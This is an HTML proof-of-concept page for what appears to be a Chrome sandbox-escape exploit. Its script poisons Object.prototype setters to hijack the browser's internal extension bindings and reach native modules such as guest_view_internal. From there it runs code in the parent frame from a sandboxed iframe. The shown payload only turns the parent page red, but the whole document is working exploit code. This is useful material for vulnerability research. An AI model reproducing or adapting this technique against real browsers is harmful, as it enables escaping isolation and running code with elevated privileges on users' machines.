<!doctype html>
|
<title>test</title>
|
<body style="background-color: white;">
|
<script>
|
["binding", "create"].forEach(function(name) {
|
Object.defineProperty(Object.prototype, name, {
|
configurable: true,
|
enumerable: false,
|
set: function(func) {
|
if(typeof func === "boolean") return;
|
|
delete Object.prototype[name];
|
|
if(name === "binding") {
|
Object.defineProperty(this, name, {
|
writable: true,
|
configurable: true,
|
enumerable: true,
|
value: func
|
});
|
} else {
|
var first = true;
|
var oldCreate = func;
|
Object.defineProperty(this, "create", {
|
configurable: true,
|
writable: true,
|
value: function() {
|
if(!first) {
|
Object.defineProperty(Object.prototype, "test", {
|
value: function() {},
|
writable: true,
|
configurable: true
|
});
|
|
var v = oldCreate.apply(this, arguments);
|
|
var oldGenerate = v.generate;
|
v.generate = function() {
|
var o = oldGenerate.apply(this, arguments);
|
window.testBinding = o;
|
return o;
|
};
|
|
return v;
|
} else {
|
first = false;
|
|
var old = this.prototype.generate;
|
this.prototype.generate = function() {
|
if(this.schema_ && (!this.schema_.properties || this.schema_.properties[""])) {
|
this.schema_.properties = { "isInstalled": { type: "", value: 1 } };
|
this.schema_.namespace = "webstore";
|
}
|
return old.apply(this, arguments);
|
};
|
|
this.prototype.generate.call({
|
runHooks_: function() {},
|
schema_: {
|
types: [ { id: "test", js_module: "test", functions: [] } ],
|
namespace: "webstore",
|
properties: {
|
"isInstalled": { type: "", $ref: "test", value: [] }
|
}
|
}
|
});
|
}
|
|
return oldCreate.apply(this, arguments);
|
}
|
});
|
}
|
|
chrome.runtime.lastError;
|
}
|
});
|
});
|
|
chrome.webstore.onDownloadProgress;
|
|
testBinding.runWithNativesEnabled(function() {
|
var x = testBinding.getModuleSystem(window)
|
.requireNative("guest_view_internal");
|
var parentFunction = x.GetViewFromID(123)[0];
|
parentFunction("document.body.style['background-color'] = 'red';")();
|
});
|
|
</script>
|
|
This is a sandboxed iframe that sets the parent's background color to red. If it doesn't work, reload (probably a garbage collection issue).
|
</body>
|